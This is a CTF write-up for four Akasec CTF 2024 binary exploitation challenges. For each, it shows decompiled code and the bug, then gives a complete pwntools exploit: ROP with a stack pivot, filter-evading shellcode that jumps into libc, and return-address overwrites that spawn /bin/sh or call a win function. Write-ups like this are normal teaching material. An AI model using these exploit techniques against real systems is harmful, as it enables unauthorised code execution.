Akasec CTF 2024

Warm up

Overall

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

int __fastcall main(int argc, const char **argv, const char **envp) { char s[64]; // [rsp+0h] [rbp-40h] BYREF helper(argc, argv, envp); printf("%p\n", &puts); printf("name>> "); fgets(name, 512, stdin); printf("alright>> "); fgets(s, 88, stdin); puts("okey"); return 0; }
  • No PIE
  • No canaryfound
  • Give me the address of puts -> leak libc

Bug

char s[64]; fgets(s, 88, stdin);
  • BOF

Approach

Target: stack pivot + ROP

  • As you see, I only have 16 bytes to overwrite from retaddr. If I call system("/bin/sh"), I will need at least 3 quadwords : poprdi_ret, binsh and system.
  • So I need to use stack pivot to do my ROP.
  • The program disable PIE and name is global variable, so the address of this variable remains unchanged.
  • It is a good idea to try to move stack pointer to this.

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

  • Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

Problem

Normally, I try to use method poprdiret, binsh, system; however, it doesn't work here. I try to make rdi, rsi, rcx is zero; it still fails. I don't know exactly the reason for this.

  • Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →
  • Image Not Showing Possible Reasons
    • The image was uploaded to a note which you don't have access to
    • The note which the image was originally uploaded to has been deleted
    Learn More →

I used to be stuck and panic for this challenge in one moment. Fortunately, I try with syscall and it works.

Script

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./warmup_patched', checksec=False) libc = elf.libc gs = """ b *main b *main+141 b *main+166 b *main+167 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1338) else: return process(elf.path) io = start() io.recvuntil(b'0x') puts = int(b'0x' + io.recvn(12), 16) libc.address = puts - libc.sym['puts'] info("puts @ " + hex(puts)) info("libc base @ " + hex(libc.address)) binsh = next(libc.search(b'/bin/sh\x00')) syscall = libc.address + 0x00000000000288b5 poprax_ret = libc.address + 0x00000000000dd237 poprdi_ret = libc.address + 0x000000000010f75b poprsi_ret = libc.address + 0x0000000000110a4d poprsp_ret = 0x000000000040118e getshell = p64(poprax_ret) getshell += p64(0x3b) getshell += p64(poprdi_ret) getshell += p64(binsh) getshell += p64(poprsi_ret) getshell += p64(0) getshell += p64(syscall) payload = b'a'*72 payload += p64(poprsp_ret) payload += p64(0x404060) io.sendlineafter(b'name>> ', getshell) io.sendlineafter(b'alright>> ', payload) io.interactive()

Good_trip

Overall

Image Not Showing Possible Reasons
  • The image was uploaded to a note which you don't have access to
  • The note which the image was originally uploaded to has been deleted
Learn More →

main

int __fastcall main(int argc, const char **argv, const char **envp) { unsigned int v4; // [rsp+4h] [rbp-Ch] BYREF void *buf; // [rsp+8h] [rbp-8h] v4 = 0; init(argc, argv, envp); buf = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL); printf("code size >> "); __isoc99_scanf("%d", &v4); if ( v4 >= 0x1001 ) return 0; printf("code >> "); read(0, buf, 0x999uLL); mprotect(buf, (int)v4, 5); if ( (unsigned __int8)filter(buf) ) { puts("nop, not happening."); exit(-1); } exec(buf); return 0; }

filter

__int64 __fastcall filter(__int64 a1) { void *s1[3]; // [rsp+10h] [rbp-20h] int v3; // [rsp+28h] [rbp-8h] int v4; // [rsp+2Ch] [rbp-4h] v4 = -1; s1[0] = &unk_402010; s1[1] = &unk_402013; s1[2] = &unk_402016; while ( ++v4 <= 4093 ) { v3 = -1; while ( ++v3 <= 2 ) { if ( !memcmp(s1[v3], (const void *)(v4 + a1), 2uLL) ) return 1LL; } } return 0LL; }

image

  • Banned bytes
    • 0F 05: syscall
    • 0f 34: sysenter
    • cd 80: int 0x80

Approach

Target: leak libc

  • Because PIE enable, so I can use got table to leak libc
    • image
      • in main
    • image

Script

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./good_trip_patched', checksec=False) #libc = ELF('./libc.so.6', checksec=False) #libc = elf.libc gs = """ b *main b *0x0000000000401382 b *0x00000000004011a6 b *0x00000000004011e6 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1351) else: return process(elf.path) shell = \ ''' xor rax, rax mov al, 0x3b lea rdi, [rip + binsh] xor rsi, rsi xor rdx, rdx mov rbx, [0x403fc0] add rbx, 15 jmp rbx binsh: .asciz "/bin/sh" ''' shellcode = asm(shell, arch = 'amd64', os = 'linux') io = start() io.sendlineafter(b'code size >> ', str(len(shellcode)).encode()) io.sendlineafter(b'code >> ', shellcode) io.interactive()

Bad trip

Overall

image

main

int __fastcall main(int argc, const char **argv, const char **envp) { init(argc, argv, envp); code = mmap((void *)0x1337131369LL, 0x1000uLL, 7, 34, -1, 0LL); mmap((void *)0x6969696969LL, 0x21000uLL, 3, 34, -1, 0LL); printf("here ill give you something to start with %p\n", (const void *)(unsigned int)&puts); printf("code >> "); read(0, code, 0x999uLL); mprotect(code, 0x1000uLL, 5); filter(); exec(code); return 0; }

filter()

__int64 filter() { int v1; // [rsp+8h] [rbp-28h] int v2; // [rsp+Ch] [rbp-24h] void *s1[4]; // [rsp+10h] [rbp-20h] s1[3] = (void *)__readfsqword(0x28u); v1 = -1; s1[0] = &unk_2020; s1[1] = &unk_2023; s1[2] = &unk_2026; while ( ++v1 <= 4094 ) { v2 = -1; while ( ++v2 <= 2 ) { if ( !memcmp(s1[v2], (char *)code + v1, 2uLL) ) { puts("nop, not happening."); exit(-1); } } } return 0LL; }

image

  • Banned bytes
    • 0F 05: syscall
    • 0f 34: sysenter
    • cd 80: int 0x80

The program gives me 4 bytes at the end of address of puts in libc.
You input shellcode for program run it. However, filter() bans syscall, int 0x80 and sysenter.

Approach 1

Target: libc

  • image

    • r13: contain the address of stack.
    • Thus, I can target this to get the libc.
  • image

Script

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./bad_trip_patched', checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-linux-x86-64.so.2", checksec=False) gs = """ b *main b *main+191 b *main+216 b *main+241 b *exec+71 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1352) else: return process(elf.path) io = start() shell = \ ''' mov rax, r13 sub rax, 288 mov rbx, [rax] add rbx, 0xdb85f xor rax, rax lea rdi, [rip + binsh] xor rsi, rsi xor rdx, rdx mov al, 0x3b jmp rbx binsh: .asciz "/bin/sh" ''' shellcode = asm(shell, arch = 'amd64', os = 'linux') io.sendlineafter(b'code >> ', shellcode) io.interactive()

Approach 2

Target: libc

  • Leak 4 bytes at the end of the address of puts.
    • fs: this refers to a special segment register in x86 and x86-64 architectures. Segment registers are used in conjunction with base addresses to locate memory locations. In this case, fs specifically points to a region called Thread-Local Storage (TLS).
    • Afterwards, + 4 bytes: I will have the address of libc.

Script

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./bad_trip_patched', checksec=False) libc = ELF("./libc.so.6", checksec=False) ld = ELF("./ld-linux-x86-64.so.2", checksec=False) gs = """ b *main b *main+191 b *main+216 b *main+241 b *exec+71 """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('172.210.129.230', 1352) else: return process(elf.path) io = start() io.recvuntil(b"with ") leak = int(io.recvline().strip(),16) info(f"leak {hex(leak)}") shell = \ f''' mov rbx, fs:0x0 mov rcx, 0xFFFFFFFF00000000 and rbx, rcx mov eax, {hex(leak)} or rbx, rax add rbx, 0x8993f xor rax, rax lea rdi, [rip + binsh] xor rsi, rsi xor rdx, rdx mov al, 0x3b jmp rbx binsh: .asciz "/bin/sh" ''' shellcode = asm(shell, arch = 'amd64', os = 'linux') io.sendlineafter(b'code >> ', shellcode) io.interactive()

Other approaches

Leak libc depend on: xmm1

excve instead of syscall

Yapping

Overall

image

image

image

main

int __fastcall main(int argc, const char **argv, const char **envp) { char v4[28]; // [rsp+0h] [rbp-20h] BYREF int v5; // [rsp+1Ch] [rbp-4h] v5 = 0; strcpy(v4, "hellooooooooo!\n"); write_(1LL, v4, 15LL); vuln(); return 0; }

vuln

__int64 vuln() { char v1[108]; // [rsp+0h] [rbp-70h] BYREF int i; // [rsp+6Ch] [rbp-4h] for ( i = 0; i <= 104; i += 8 ) read_(0LL, &v1[i], 8LL); read_(0LL, &v1[i], 8LL); return write_( 1LL, "\n" "\n" " _ \n" " |_ _. _|_ o _ |_ ._ _ _. ._ ._ o ._ _ _. |_ _ _|_ )\n" "\\/\\/ | | (_| |_ | _> |_) | (_) \\/ (_| |_) |_) | | | (_| (_| |_) (_) |_| |_ o \n" " / | | _| \n" "\n", 367LL); }

win

__int64 win() { __int64 result; // rax int v1; // [rsp+8h] [rbp-78h] unsigned int v2; // [rsp+Ch] [rbp-74h] char v3[103]; // [rsp+10h] [rbp-70h] BYREF char var9[17]; // [rsp+77h] [rbp-9h] BYREF strcpy(var9, "flag.txt"); if ( (unsigned int)check_user() ) v2 = open_(var9, 0LL); if ( (unsigned int)check_user() ) v1 = read_(v2, v3, 100LL); result = check_user(); if ( (_DWORD)result ) return write_(1LL, v3, v1); return result; }

check_user

__int64 check_user() { signed __int64 v0; // rax if ( user == 97 && byte_404001 == 100 && byte_404002 == 109 && byte_404003 == 105 && byte_404004 == 110 && !byte_404005 ) { return 1; } else { v0 = sys_exit(1); return 0; } }
  • image
  • compare user with: admin

Bug

Target: BOF

char v1[108]; // [rsp+0h] [rbp-70h] BYREF int i; // [rsp+6Ch] [rbp-4h] for ( i = 0; i <= 104; i += 8 ) read_(0LL, &v1[i], 8LL); read_(0LL, &v1[i], 8LL);
  • This function stores index i for loop in stack.
  • Write 8 bytes each input, but loop to 104 with the size of v1: 108. -> Overwrite i
  • Afterwards, I have one more time to write 8 bytes to the offset from the address of v1 rely on i. -> Overwrite retaddr.

Approach

Target

  • I need to call win function to get the flag; however, check_user function will check user variable to confirm the privilege.

    • write "admin" to user variable -> call win.
  • However, I only one have gadget to overwrite the retaddr.

    • The program disable PIE
    • image
    • If I jump to sub rsp,0x70, I will have more space in the stack can be overwrited, include rbp, retaddr
  • I notice that user variable only can be changed by trigger read to this address of it(this idea is possible because PIE disable -> the address of user variable remains unchanged).

    • image
    • control rbp -> trigger to write to specified address

Script

#!/usr/bin/env python3 from pwn import * context.log_level = 'debug' context.binary = elf = ELF('./challenge', checksec=False) gs = \ """ b *main b *vuln+43 b *vuln+80 b *vuln+107 b *vuln+111 b *vuln+112 b *win b *check_user """ def info(mes): return log.info(mes) def start(): if args.GDB: return gdb.debug(elf.path, gdbscript=gs) elif args.REMOTE: return remote('20.80.240.190', 14124) else: return process(elf.path) def vuln(): io.recvuntil(b'hellooooooooo!\n') #garbage data for i in range(13): io.send(b'a'*7 + b'\x00') #overwrite i io.send(b'a'*4 + p32(112)) #overwrite retaddr io.send(p64(0x4011f4)) # garbage data for i in range(10): io.send(b'b'*7 + b'\x00') #overwrite rbp with the value the address of user variable + 0x70 io.send(p64(0x404070)) #overwrite retaddr to write to user variable io.send(p64(0x40122e)) #garbage data io.send(b'd'*8) #overwrite i to overwrite retaddr in the third return io.send(b'b'*4 + p32(208)) #overwrite retaddr io.send(p64(elf.sym['win'])) #write to user variable io.send(b'admin\x00\x00\x00') io = start() vuln() io.interactive()